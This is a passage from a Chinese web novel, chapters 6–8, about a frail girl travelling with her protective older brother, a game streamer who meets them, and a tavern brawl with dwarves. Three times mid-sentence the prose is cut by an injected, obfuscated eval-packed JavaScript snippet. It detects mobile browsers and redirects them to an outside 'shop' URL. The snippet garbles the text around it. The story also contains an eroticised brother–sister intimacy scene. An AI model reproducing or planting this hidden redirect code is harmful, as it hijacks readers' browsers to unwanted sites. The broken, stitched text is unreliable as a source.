希莉塔猜想这大概是一件魔法物品。 她小心地提着裙摆,警惕地左右张望,哪怕知道这里只是无人关注的一个小角落,有着很多树木遮挡,她还是担心会有别人出现。 好一会,哥哥才帮她扣好束腰。 那些材质紧紧贴着她的皮肤,传来一种流动的触感。 没有温度,但是有点舒服…… 她感到那些让她窘迫的需求消失了。 “这是什么,哥哥?” 希莉塔有些好奇地问。 “这起源于一种生命魔法,能暂时压制你身体感官的流动,但它也有代价,你不能再毫无节制地喝水了,希莉塔。” “哦……” 魔法真方便……她想,不过哥哥为什么会准备这个东西呢? 他从来没有远行过。 希莉塔没有为此困惑多久,她的注意力很快就被别的事情吸引,骑在鹿上左看右看,有一肚子话想要说,又乖乖地惦记着自己不能再喝水,因此把它们都记在了心里,准备晚上休息的时候再问哥哥。 “啊啊啊啊啊——” 不远处的田野里忽然跑出来一个乱七八糟的少年,一边哭一边大喊着救命。 “我只是掏了几个鸟蛋为什么会有这么多地精,这不是新手村吗啊啊啊啊啊——” 看见他们,少年哭喊的声音一顿,脚步也停了下来。 他下意识擦了擦眼泪和鼻涕,问:“家人们、你们帮我看看……我这是上天了吗?” 有两个天使降临在路边啊! 6. 第 6 章 玩家是一个知名主播。 搞笑区的。 他今天玩的是一个还在内测的新游戏。 内测名额非常稀少,游戏技术非常真实。 进入全息舱,就和真的来到了异世界一样! 他选择的职业是盗贼。 刚刚去地精洞穴偷鸟蛋,被追着撵,这都是他的策略。 他每天都会顶着一张嫩嫩的清秀正太脸,故意做些狗撵鸡啄的抽象事,主打一个反差。 总有人可惜他的脸蛋,让他不断上榜‘如果是个哑巴’主播榜单。 呵呵,靠脸吃饭这种事,能长久吗?他又不是A神,拿什么留住观众?当然要搞点乐子了! 他人笑我太疯癫,我笑他人看不穿,哼哼,直播最重要的是什么,笑果! 可是老婆(大哭)(捶胸顿足)——没有人告诉他,在满脸鼻涕眼泪毫无形象的时候,遇见了生命中唯一的天使女神宝宝亲爱的命中注定的老婆大人该怎么办。 怎么办——! 宝宝老婆大人骑在高高的鹿上,漂亮得整个人都在发光,像是被他的忽然出现吓了一跳,捂住胸口,露出惊讶的表情。 完全天使! 旁边还有个一看就是死装货的男的。 “哥哥……” 宝宝老婆叫他哥哥。 哦!是未来的大舅子! 怪不得长得这么好看,完全继承了宝宝老婆的天使基因! 大舅子冷着脸,两个法术框框砸在地精上,战斗一秒钟就结束了。 天神下凡!乐于助人!善良伟大! 【酷哥萌妹,天生一对!】 胡说八道!人家是兄妹! 【我笑纳了。】 是你的吗你就纳! 【刚出新手村路遇魅魔兄妹拼尽全力无法抵抗……】 要你抵了吗你就抗! 【豆宝豆宝,帮我分析一下怎么屏蔽主播。】 ……? 玩家坚强地擦着鼻涕,“我平时不是这样的。”他说,“其实我平时不这样。” 大舅子看也没看他一眼。 宝宝老婆看看满地的地精尸体,又看看他,像是害怕极了,小脸被吓得白白的,还强撑着朝他点点头,轻轻地“嗯”了一下。 太善良…… 【萌的人想死】 【我死了(大字躺)】 【萌萌可爱天使小宝,美味得旁边人死了都不知道。】 【本人宣布正式和一切红眼给命文学和解,妹妹再嗯一声命都给你。】 【是我我也给。】 【是我我也给】 … 【爽得老娘一拳干爆三十个虫族】 【主播你凭什么,,,】 【笑家军出列,把笑纳给我打在公屏上!】 【代表M78星云,笑纳!】 … 【老婆好香老婆蹭蹭蹭蹭蹭蹭蹭……】 【宝宝怕怕的好可怜、亲一下。宝宝怕怕的好可怜、亲一下。宝宝怕怕的好可怜、亲一下……】 【这什么主播,这什么弹幕?形象呢?素质呢?道德呢?游戏名字呢?】 玩家屏蔽了弹幕,用最快的速度擦拭自己的脸颊。 他要给宝宝留下好印象! …… 这是希莉塔第一次看见地精。 虽然成群结队,一大群乌泱泱冲上来的时候非常吓人,但只用了一两秒钟,战斗就结束了。 看起来很弱小的样子。 这让她彻底安心下来。 哥哥已经把村子周围的地精都清理了,村庄里面有很多聪明强壮的年轻人,牧师大人也在,就算地精又忽然变多,袭击村庄,他们也有能力抵抗。 “冒险家协会里面有长期的地精剿灭任务!” 陌生少年已经擦干净了脸上的脏东西,露出极其清秀可爱的容颜。 他看起来年纪很小,身形瘦弱,皮肤白皙,眼睛圆圆的,水汪汪。 望过来的时候,一副可怜可爱的样子。 “地精的右耳也是一种魔药药材,把耳朵割下来去交任务,能同时获得两份报酬……” 他十分热情地介绍着这些事。 “那个,呃,尊敬的小姐和先生,你们救了我,战利品应该属于你们。那个,我来帮你们割耳朵!” 说着,他掏出一把银制小刀,非常快速地收割起了残局。 好熟练…… 希莉塔坐在路边,有些好奇地看着他。 这么小,就已经在外面辛苦地讨生活了呢。 “喝点水,希莉塔。” 哥哥把水囊递给她。 水囊里有一根特制的管子,可以让她低头喝水,避免被呛到的风险。 水的温度正好,里面加了蜂蜜,甜甜的。 还惦记着‘有代价’的束腰,希莉塔不敢多喝,只把甜水含在嘴里,等它自己流入喉咙,把这当做一种平复心情的途径。 很快,她的心跳平复下来。 看着少年快速地切割耳朵,也不感到害怕。 她并不同情地精这种会食用人类的物种。 “一共46只!” 玩家点开背包,选择[地精右耳x46],点击赠送。 [伊斯梅尔&希莉塔拒绝了你的礼物。] 玩家有点困惑地看着他们。 大舅子的想法不重要。 可是老婆为什么不要这些东西? 她娇娇瘦瘦的样子一看就知道病了很久,在太阳底下坐着,皮肤像是薄薄的透明的水,好像一不留神就会被晒得融化。 而且她穿得好朴素,黄色的羊毛长裙,没有任何首饰,出门也没有坐豪华马车,虽然骑着鹿很漂亮可爱像是湖中仙女,但怎么说都没有马车舒服啊。 好可怜,好心疼…… 他要氪金。 玩家找了找,没有找到氪金界面。 于是又试图让老婆先接受他现在的礼物。 他想要跳过哥哥直接送给老婆,但是不管怎么样,选择的目标都会自动变成[伊斯梅尔]。 怎么回事? 他也不管自己还在直播了,急得到处找客服反馈BUG。 …… 希莉塔休息好之后,他们继续出发。 或许是担心再次遭遇意外,哥哥这次也坐了上来。 他牵起野鹿脖子上的绳索,腕骨纤细,却十分具有力量感。 希莉塔安心地倚靠在哥哥的胸膛。 “你们要走了吗?” 那个少年追了上来。 他怀里还抱着那个装满战利品的袋子,头发被风吹得凌乱,执着地问道: “为什么不要呢?” 好像有点可怜呢…… 希莉塔抬头看了看哥哥。 伊斯梅尔:“上面都是他的鼻涕,希莉塔。” 希莉塔:…… 如果真的只是因为嫌弃鼻涕,使用清洁术就好了呀。 哥哥这么说,一定是心软了,想要帮助他。 希莉塔只觉得自己又看穿了哥哥藏在平静外表下的柔软和善良,忍不住笑了笑。 她拍拍小鹿的脖子,让它降速。 少年气喘吁吁地追在鹿旁边,仰头看着她,像是一只眼巴巴等待着什么赏赐的小动物。 希莉塔愣了一下,连忙把这样失礼的想法从脑袋里甩走。 “我们想把这些战利品送给你。” 他这么矮小、瘦弱,却独自一人面对危险,一定有迫不得已的苦衷吧? 想到这里,她的语气放轻了许多。 “希望它们能换来一些铜币,帮助你更好地渡过难关……以后要小心一些哦,生命很重要,下一次,说不定就没有人来救你啦。” 少年呆呆地看着她。 像是被她的话吓到了那样,他停在原地,羞愧地低下了脑袋,整个人都颤抖了起来。 果然还是个小朋友呢。 她笑了笑,朝他挥挥手:“开玩笑的啦。不管在哪里,祝你一直这样幸运,再见。” 她抓稳鹿角,野鹿向前奔跑。 …… 跨过长满牧草的平原,前面就是羊毛镇。 小镇围着一圈高高的木质围墙,看起来像是灰色的大栅栏。 城门底下站着两个守卫。 他们穿着铁甲、握着铁剑,两张脸都藏在头盔里,只露出冷漠而又戒备的眼睛。 如果希莉塔还醒着,她一定会特别好奇地到处张望。 可惜她无法承受这么长途的骑行,在半路就睡着了。 她倚在哥哥的胸口,睡得脸颊红红的,哪怕被抱下来,也只是颤动了几下睫毛,无力清醒。 野鹿低下头,眷念地拱了拱她。 伊斯梅尔看了它一眼。 小鹿眨眨眼睛,在地面上磨了几下蹄子,像是在表达自己的不甘心。 但在那双漆黑眼眸的注视下,它很快就温顺地退后,拉开距离,乖乖驮着行囊,跟随在他的身侧。 …… 醒来的时候,正是黄昏和黑夜的交界。 房间里点着灯,天空灰蒙蒙一片,太阳沉落。 人在这个时候醒来,总是容易感到一阵茫然、惆怅,希莉塔也不例外。 还来不及喊哥哥,她就被抱起来。 眼前出现昏暗的灯光,橘黄色调,亮度正好,没有晃到她的眼睛。 “我们到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261017|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?哥哥。” “是的,希莉塔。” 哥哥问:“喜欢这个房间吗?” 希莉塔迷迷糊糊地打量房间。 房间里贴着红色的墙纸,地上铺着图案繁复的地毯,中央是带着床帐的大床,配合着昏暗的灯光,整个房间都带着某种风情。 除此之外,房间里还有两张写字台、两把椅子,一个壁炉,一张沙发。 太、太豪华了吧……? 她趴在哥哥的肩膀上,刚想询问房间的价格,就被哥哥抱到了写字台上。 写字台的台面是折叠的,打开就变成了两倍的宽度。 上面已经提前垫好了柔软的垫子。 “哥哥?” 忽然离开哥哥的怀抱,加上双脚悬空,这让希莉塔有些不安,她下意识想要去抱哥哥的腰。 被轻轻挡了一下。 “把裙子提起来。” 哥哥说。 希莉塔愣了一下,懵懵地乖乖照做。 哥哥弯下腰,垂眸看过来。 呼吸喷洒,带来熟悉而又无法适应的颤栗。 她睫毛颤了颤,有些难以忍受地红了脸颊,却也知道哥哥和莱特不一样,不会忽然伸舌头舔她。 哥哥这么做一定是有原因的。 这么想着,希莉塔也跟着低头看下去。 腿上的皮肤被擦伤了,红红一片,很大的一片。 看起来有些吓人。 “哥哥?” 希莉塔茫然而又惊慌地攥紧裙摆。光明在上……她一点痛都没感觉到! 哥哥抬眸看了她一眼,像是在观察她的表情,接着,他把手指轻轻按压在上面。 浅粉色的光芒在他指尖浮现,那代表着治愈魔法。 仅仅是几个呼吸,她的伤口就完全消失了。 这是哥哥最先学会的魔法,因为小时候的希莉塔总是莫名其妙地受伤,身上常常青一块紫一块的,在她第二次朝哥哥哭着喊疼的时候,哥哥就学会了治愈魔法。 希莉塔慢吞吞地走神,感觉到哥哥的手指向上,扣住了她的束腰。 “这件物品的起源魔法叫做缓行。” 哥哥停顿了一下。 “也有人称它为缓刑。” 因为它会积攒佩戴着所有的感官,在解除束缚之后,一瞬间地迸发出来。 无论痛苦,或是欢乐。 这样成倍的叠加,都是一种无法承受的刑罚。 有许多骑士佩戴着这个魔法的附魔物品战斗,在战场上英勇无畏,取下物品后,却活活痛死过去。 活、活活痛死? 希莉塔听得小脸发白,忍不住去扯哥哥的衣角。 “对不起,希莉塔。” 哥哥向她道歉:“哥哥还不够强大,不能完全掌控你的身体。” “……不是哥哥的错。” 她艰难地维持着语言:“是我太不勇敢了。” 她怕痛,又爱哭,如果不戴上这个束腰,根本没办法坚持这么长的骑行。 哪怕哥哥每秒钟都对她使用治愈魔法,那些疼痛也是没办法消失的。 她一定会哭,眼泪掉得到处都是,哭着请求哥哥把她打晕过去,但哥哥一定舍不得这么做……对于疼痛,她一直都不是一个勇敢的孩子。 “是哥哥的错。” 伊斯梅尔对自己使用了一个清洁术,然后抬起手,轻轻掐住她的下巴。 她被迫仰起脸,看见哥哥的眼睛。 在昏沉沉的灯下,哥哥白皙的肌肤和黑沉沉的眼眸呈现出一种令人眩晕的质感,令她思维发散。 “书上说,要教会你忍耐,但哥哥一直不忍心。” 说着,束腰被摘下来。 哥哥的手指插入口腔。 强势、突然、毫无预兆。 那些想象中的疼痛没有到来。 只有哥哥的手指、哥哥的眼睛。 哥哥的眼睛,像是一种比黑夜更深的东西,仿佛能吞噬一切物体。 头脑空白,只有被侵入的、清晰的感官。 欢欣鼓舞。充满依恋。 因为是哥哥,所以不觉得害怕。 因为是哥哥,欢迎哥哥进来……所以、所以…… 哥哥眨了一下眼睛。 他看着她的表情,手指停顿,然后将她松开。 那些疼痛结束了吗?她不知道。 她只是失神地看着哥哥。看见他平静的、完美的脸,修长漂亮的、沾上她口水的手指。 哥哥没有使用清洁术。 而是用毛巾擦拭手指。 看着她、注视她,注视着她的眼睛、她的脸,她的嘴唇。 一点一点、极其缓慢地擦拭。 7. 第 7 章 哥哥,脸上总是没有太多表情。 黑到极致的眼睛,有时候带来一种莫名的神性。 希莉塔坐在写字台上,小腿悬空,头脑空白,这让她感觉自己正漂浮在一片黑色的海洋里,找不到任何一个可以依靠的物体。 只有哥哥。 脸颊痒痒的,因为刚刚被哥哥捉住下巴。 舌头和口腔也浮现一种感觉,那是哥哥手指进来的触感。 看起来那样纤细修长的漂亮手指头,做起家务来是那样赏心悦目,抚摸她的头发是如此轻柔温暖。 可是在进入口腔之后,就变成了可以完全塞满她的、欺负人的大东西了…… 好奇怪…… 哥哥还在看着她。 看得她、看得她全身都好奇怪…… 不许看了…… 希莉塔侧过脸,躲开哥哥的目光,她很想叫哥哥移开眼睛,可是不知道为什么,她有点不敢和现在的哥哥说话。 身体热乎乎的。 陌生的浪潮席卷而上。 希莉塔第一次体会到这样的感受,她感到害怕而又惶恐,无法承受地往下栽倒。 跌进哥哥的怀抱。 有哥哥在,她从来不用担心自己会摔去让她疼的地方。 他抬手抚摸她的脊背,带来一阵阵颤栗,她倚靠在哥哥怀里,抱着哥哥的手腕,一下一下发抖。 缓了好一会,她才平复下来,仰头看向哥哥,满脸委屈。 好可怕…… 再也不要被哥哥摸舌头了……好可怕。 “对不起,希莉塔。” 哥哥拨开她泪湿的头发,不知道在为什么而道歉。 “热水已经准备好了。”他没让她在这样的情景停留太久。 “去洗个澡。” “哦……” 被抱进盥洗室。 哥哥扶着她的腰让她站稳,又等了她一会,才轻手轻脚地走了出去。 希莉塔下意识看向镜子里的自己。 不知道为什么,她只敢看一眼,就匆匆地移开了目光,不敢再看。 低下头,发现哥哥已经准备好了她的牙刷、牙粉,还有一整个木桶的热水、澡巾,和叠得整整齐齐的裙子。 牙刷的刷柄是苹果木,打磨得十分圆润,握在手里有一种暖暖的温度。 刷毛是由一种名叫“咕咕兽”的毛发制成的。 这种魔法小兽大概是小马和未知生物的杂交种,特点是会咕咕叫、毛发很适合用来刷牙。 牙粉有点咸,又有点甜。 里面加了盐和蜂蜜,还有一些花瓣、研磨细碎的柳炭粉、燕麦粉…… 还有一些她已经记不清的物质。 希莉塔仔细地刷过牙,准备洗澡的时候,浴桶里的水温已经从微微发烫,下降到了刚刚好的温度。 哥哥…… 在照顾她这件事情上,哥哥一直都这样细致,日复一日。 幸福和感激充盈了心灵。 希莉塔泡进温水里,把这几天产生的乱糟糟的思绪全都抛到脑袋后面。 这是她保持快乐的方法。 她想象自己是一只快乐幸福的小鸭子,虽然有着灰扑扑的不起眼的羽毛,但她有天底下最好的哥哥。 哥哥会爱她,照顾她,带她一起在无边无际的海洋里流浪。 海里的水温温的、热热的,就像哥哥的拥抱。 她快速洗好澡,然后扑出去抱住他。 “哥哥。” 或许是第一天离开村庄,第一天来到外面的世界,或许是踏上了前往艾德兰的路途,开始触碰那个遥不可及的梦想。 希莉塔只觉得自己比过往的每一天都要更加快乐、满足。 “喜欢哥哥。” 她说:“好喜欢……” 哥哥轻轻地揉了揉她的头发。 把她抱到窗户底下,温暖的炉火旁,缓慢细致地帮她擦头发。 直到每一根发丝都变得干燥、柔顺,抹好发油之后,他才敲敲她的肩膀。 她被水滴打湿的裙子一下子变得干燥起来。 “哥哥?” 希莉塔伏在他的肩膀。 “既然哥哥要使用魔法,为什么不干脆把我的头发一起弄干呢?” “哥哥不想这么做。” “为什么?” “这是哥哥的责任。” 哥哥说:“或许魔法会伤害你的头发,让它受到损伤。” “……哦。” 希莉塔站起来,看着自己的头发。 她的头发直而垂顺,很少缠在一起让她烦恼,冬天也不会毛毛糙糙,这都是哥哥精心照顾的功劳。 拥有长长的头发,就像是拥有了长长的生命。 抱着这样幼稚的想法,她一直舍不得剪短,现在已经垂到膝盖了。 会不会有点太长了? 哥哥要照顾她的头发一定很辛苦…… 等她学会火元素的魔法,就可以自己照顾头发了吧? 像哥哥一样,洗完澡就立刻烤干,稍微损伤一点也是可以的,毕竟去了艾德兰之后,她和哥哥都要上课,如果住在学校里,肯定不能再一起睡觉了。 哥哥也去洗了个澡。 洁净的、无法容忍一丝灰尘的哥哥,每天用的都是她洗过的水。 她感觉脸颊有些发烫。哥哥既然会火元素的魔法,可以很快把水弄热,为什么不再烧一桶呢? “想去哪里吃晚餐?” 哥哥很快出来,干净清爽,身上带着羊脂皂的香气。 “旅店、餐厅,又或者酒馆。” “酒馆……” 希莉塔的眼睛一下子亮起来。 在冒险故事里,或许没有一个强大的勇者,没有一条邪恶的巨龙,但一定会有一个充满故事的酒馆。 “真的吗?哥哥,我们要去酒馆?” “当然,希莉塔。” 她欢呼一声,只觉得兴奋得心脏都快发痛了,抱住哥哥的手臂,开心地直晃:“要去酒馆,去酒馆,哥哥。” “好。” 哥哥轻轻捉住她的脚踝。 “别着急,希莉塔,在那之前,先穿上你的新鞋子。” 棕色的旅者之靴,由厚实耐磨的植物鞣制牛皮和富有弹性的山羊皮组成,还加了一块染色的小鹿皮作为装饰,泛着附魔印记的深蓝色微光。 轻微防水、防火,防止脏污,轻度减少行走的疲惫,由矮人协会出品。 希莉塔盯着鞋面上那块深蓝色的小鹿皮,只觉得喜爱得不知道怎么办才好,简直想要原地蹦跶几下,抒发自己激动的心情。 “哥哥……” 她根本舍不得穿出去。 哥哥看着她笑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261018|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 希莉塔呆呆地看着哥哥,好一会,用力抱住他。 怎么办……用拥抱已经无法表达她对哥哥的喜欢和爱了,怎么办? “哥哥。” 她把脑袋埋进哥哥的胸口,嗅嗅味道,黏糊糊蹭了好几下,好一会,又问:“这、这花了多少金币呀,哥哥?你比我走路更多……” “哥哥不想对你说谎,希莉塔。” 哥哥摸摸她的头发。 “哥哥送你礼物,是想看见你的笑容,不是想引起你的愧疚。希莉塔,你值得世界上所有的一切,哥哥不需要这么多东西,只要你的开心。” “哦……” 她有点想哭,抱着哥哥的脖子贴了好一会,才勉强把心情平复下来。 “那哥哥也要买一双。” “好。” 得到答应的希莉塔开心起来。 就像哥哥说的,既然已经付出了金币,那就要开心,比收到礼物之前更加开心。 不然的话,金币岂不是白花了吗? 想到这里,她顿时觉得脚踏实地起来,不再软乎乎地飘在云朵里了。她拉着哥哥往外走。 伊斯梅尔任由妹妹带路,装作被她拽着走的模样,哪怕她根本就不知道酒馆的方向。 …… 出去之后,希莉塔才发现这里不是村庄附近的那个小镇。 而是一个更大、更繁华,完全陌生的小镇。 哥哥说,这里才有马车售卖。 希莉塔理解地点点脑袋,放慢速度,好奇地左右张望。 附近是平原,十分适合放牧,小镇的空气中带着活羊和羊毛的气味,但勤于清扫,所以并不浓郁。 更多的是青草、花朵,和食物的清香。 王国的信仰是光明神。 祂是一位喜爱洁净、厌恶污浊的神明。 所以洁净被写进了教条和法律里,还配有由牧师和骑士共同组建的‘净戒骑士团’。 每个人都要保持自己的外表洁净、心灵洁净,以及家庭居所、商铺洁净。 而王国、教会和贵族们,则要维护领地内城镇、道路、公共建筑的洁净。 故意制造脏污之人,会面临不同程度的罚金,还会被关进牢狱。 更严重者,可能会被视为黑暗眷属,处以极刑。 王国上下,哪怕是农村,都在尽力维持洁净。 就算是流浪汉,也时常去教会的收容所沐浴、领取干净的衣物,避免带着异味乞讨。 那样不仅要不到钱,还会被捉进监狱。 整洁而又干净的街道很好地保护了希莉塔的新鞋子。 赞美光明…… 希莉塔牵着哥哥,在黄昏的街道上行走,周围人来人往,点满街灯。 “哥哥你看,他会喷火……” 有许多流浪的艺术家聚在广场上表演,他们弹奏音乐、吟唱诗篇,还有人表演简单的小戏法。 希莉塔慢吞吞给每个人鼓掌。 但轮到打赏的时候,她就只好吝啬地一毛不拔了,这让她不好意思再继续观看,拉着哥哥离开。 生命中最快乐的一天。粉色晚霞烧满天空,斜阳西下,火光照亮人们的侧脸,她牵着哥哥往前跑,回过头,发现哥哥正看着她笑。 好幸福…… 哥哥。 她会和哥哥去更多更远的更美的地方。 8.第 8 章 羊毛酒馆。 羊毛镇最古老、最热闹的酒馆。 据说这家酒馆已经有好几百年的历史了,地底的酒窖里甚至有珍藏两百年的葡萄酒,菜单上还有独家熏制六十年的肉肠…… 希莉塔有点纠结地皱起脸蛋。 哥哥说,剩菜会增长病菌,对她的身体不好,所以每顿饭吃完,他都会把锅碗刷得干干净净,把每一滴水珠都抹干,不会留有一点点剩菜。 但酒馆里面的东西,应该是安全的吧? 朋友们说,那些反复炖煮的食物会变得很软、很特别。不同的食材混在一起,还会炖出独特的香气。 希莉塔一直都很好奇那样的味道。 小时候,她甚至想偷偷在别人家里吃一些黑糊糊,最后被哥哥发现,教育了好几顿才变乖。 那个时候,她根本不知道自己和别人不一样。整天跑跑跳跳,甚至还想和大家一起去河里玩水、上山采蘑菇、挖野菜、跳进泥坑里玩泥巴…… 不知道给哥哥带去了多少麻烦。 想到这里,想到那一段肆意的童年,她的脸上就忍不住露出笑容。她抬眸看向哥哥,哥哥也正在看着她。 不管在哪里,哥哥好像一直都在看着她。 热闹的酒馆,人来人往,周围都是她从未见过的景象。但此时此刻,和哥哥对视着,她却觉得自己还和以前一样。 她正在家里,正处在一个绝对安全的地方。 想到这里,仿佛就拥有了无限的勇气。她决定要尝试一下两百年的葡萄酒…… 然后就看见了它的价格。 一小杯两百金币。 嗯…… 希莉塔移开目光。 她选择了‘冒险者杂烩’、‘烤坚果榛子酒’,和一小份豌豆青菜浓汤。 价格合适、食材均衡,名字里还带着‘冒险者’,是用来满足好奇心的最佳选择! 希莉塔开心地捧起脸颊,开始专心听客人们说话。 毕竟在冒险故事里,这里是消息最灵通的地方。 但和村子里小小的酒屋不同,·镇上的酒馆很大,空间十分宽敞。 乐手演奏着音乐,男男女女聚在中央跳舞,还有人赌牌、玩骰子、小声交易或大声吵架…… 要在这么多声音里面,准确地听见自己想听的可不容易。希莉塔听得脑袋晕乎乎的,也没有听见任何一句有意思的话,只好把心思收回来,放在餐桌上。 冒险者杂烩是由羊肉、洋葱,和羊杂碎炖成的,肉切得很大一块,满满的一大盆,咕噜咕噜端上来,几乎比她的脑袋还大。 里面加了一些香料,还有很多的盐。 希莉塔不太喜欢这个味道,只吃了两口就放下勺子,满脸期待地看着自己的酒。 酒杯很大,有点重,用双手才能捧起来。 麦酒的金黄带着一层牛奶的白色,喝起来甜甜的、还有烤坚果的香气。 好好喝…… 一想到这是酒,是平时哥哥不许饮用的禁止品,希莉塔就觉得自己一下子爱上喝酒了,她埋下头,忍不住想要多喝一些。 像是想钻进玻璃罐子里的小鸟。 伊斯梅尔侧头看着她,从脸蛋看到喉咙,等她将嘴巴里的酒安全地吞咽下去,才抬起手,捉住她的下巴。 “希莉塔。” 他一手托着妹妹的下巴,一手从随身的小布包里拿出一根吸管。 吸管有着橘子的颜色,是由一种特殊的树皮制成的,大概有她的小指粗细,用来喝水的话,会带着些许柑橘的味道。 他对吸管使用过两次清洁术,才将它投入酒杯里,看着她。 希莉塔乖乖地把小脸蛋放在哥哥手心里,慢吞吞地蹭过去,就着吸管喝酒。 嗯……还是很好喝。 虽然一点也不酷。 才喝了没几口,她的脸颊就变得红彤彤的,哥哥把酒杯拿远了一些,不许她继续喝,希莉塔觉得有点委屈,眼巴巴地看着哥哥,抱着他的手臂稀里糊涂地说话,好一会,哥哥才垂着眸,重新把酒杯放在了她的面前。 她一下子开心起来,晕晕乎乎的,听见客人们说话。 “嘿,听说了吗?那群矮子遇见点麻烦,正到处招募勇者呢。” “勇者?哼,这种家伙一抓一大把,全都是些招摇撞骗的狗.屎玩意。” “谁说不是呢?” “有天早上,我一觉睡醒,发现一个勇者睡在我的羊圈里,而我可怜的小羊们——” 他打了一个酒嗝,带着哭腔:“全都不见了踪影!” “光明在上!” 他的话激起了客人们的热议。 “勇者还会偷羊?” “那群家伙什么都干!” “兽神在上……矮人们为什么要和这种家伙混在一起?我们是不是该提醒一下?” “嘿小牛头,你可别多管闲事,那群矮子有一个算一个,脾气全都硬得像是臭石头。” “老约翰说的没错。听哥哥一句劝,就算你说了也没人会信的,毕竟那群小布丁,哈哈……他们的脑子可不大!” “你丫说谁呢!” 几个矮人‘蹭’地冒了出来。 正听得着迷的希莉塔被吓了一跳,躲进哥哥的怀里探头看,噢……原来这群小家伙一直都在这里,只是刚刚被桌子挡住了。 “嘿、嘿。放轻松。” 眼看着局势不妙,两个穿着斗篷的冒险者立刻出来缓和气氛。 “他们只是开个玩笑。” 矮人们吹着胡子挥舞着自己的铁锤。 “矮人可不是好惹的!” “这是人类的地盘!” 刚刚那个哭诉被偷羊的醉汉站了起来,做了个大拇指朝下的手势。 “矮人、地精、侏儒、还有混血的杂种,给我滚回山沟沟里面,这里不欢迎你们这些小个子!” “你说谁是小个子!!!” 一群小个子拿着铁锤啊酒杯啊锅盖啊大叫着冲了上去。 希莉塔看得兴奋极了。 光明在上……冒险的第一天,她看见了矮人打架!这一定要记在她的冒险笔记里,作为热闹的第一章的开始! 她抱着哥哥的手臂,忍不住在心里为矮人们加油。可惜就像是刚刚那个人说的一样,这里是人类的地盘。 执法队很快赶了过来,不分缘由地将那群矮人捉走了。 而率先挑衅侮辱的醉汉们却什么事都没有。 希莉塔有些生气,也有点担心矮人们的下场。她对于种族之间的律法不太熟悉,不清楚这群矮人会遭受什么样的惩罚。 应该、应该不会直接处死吧? 如果明天有机会的话,可以稍微打听一下……这么想着,她又回想起了刚刚听见的话。 矮人们在招募勇者…… 勇者的名声好像不太好。 她忍不住看向哥哥,哥哥正垂眸看着她,还和刚刚进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264898|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒馆的时候一样,还和在家里的时候一样,就好像完全没有注意到周围正在发生什么事情。 “哥哥。” 她一边喝酒,一边小声问:“你听见了吗?” “嗯?” 他露出回想的神色,就好像在搜索记忆,两秒后,他又看过来。 “想要哥哥怎么做?” 想要哥哥怎么做…… 希莉塔被问得懵懵的。 现在还不能做决定,她想,她还不知道矮人们招募勇者是要做什么呢。 危不危险、辛不辛苦,会不会耽误艾德兰的考试…… 她觉得脑袋有点乱糟糟的,倚在哥哥怀里发呆,好一会,又想继续喝酒,可是手指变得软绵绵的,没有力气,干脆就低下头,想把脑袋埋进酒杯里。 被哥哥捉住下巴。 哥哥在碰她,可是她有点分不清哥哥是在碰哪里。 她只觉得哥哥的手掌暖暖的、大大的,被哥哥摸摸好舒服…… 她下意识去贴他、蹭他,用手扯他的衣领,想要钻进他的衣服里面,近近地听他心跳。 伊斯梅尔任由她动作。 “哥哥要小心。” 她抱住他,小小声,就好像有什么人会把她的宝贝偷走:“我们不能被抢劫,不能吵架,不能打架,不能被执法队捉走……” “不可以被捉走……” 她委屈地说:“不可以被捉走金币,不可以被捉走哥哥,不可以被捉走希莉塔……” “好。” 伊斯梅尔解决了妹妹的剩菜,把她抱起来,从酒馆的后门离开。 她不说话了。 把脑袋埋进他的胸口,就好像里面藏着什么宝贝,蹭来蹭去,没一会,又小声哭起来,就好像受了天大的委屈。 妹妹,需要保护的小小生物。 眼泪总是毫无征兆地落下来。 她喝醉了总是哭,哭着找哥哥,明明抱着他,躲在他的胸口,但还是在找她的哥哥。 朝他哭、要他抱、不断地蹭他,叫她的哥哥不要走,不要离开她的身边。 伊斯梅尔笑了一下。 哥哥怎么会离开妹妹呢。 那种会离开的生物,又怎么能被称作哥哥。 他抬起手指,去抚摸她的耳垂、头发。 妹妹,喜欢肢体接触的脆弱生物。 要像是触碰花瓣一样抚摸,才能让她舒服。 被摸得舒服,就不哭了,伏在他的肩膀左看右看,就好像旁边的黑暗里藏着她的哥哥。 有几个人类跟了上来,远远地和她说话。 伊斯梅尔不太在意这些噪音。 他在思考回去之后要给妹妹揉多久的肚子、什么时候该给她准备洗澡水、妹妹今天要穿哪一件睡衣、晚上的发油要选什么味道、该说些什么故事让她安心睡觉。 抵达旅店。 一个人类站在房间门口。 红发红眸、满身冷气,不知道已经等了多久。 伊斯梅尔不太记得他的名字。 不在意他为什么会出现在这里,也不关心他此刻的表情。 他只是看向他的鞋子。 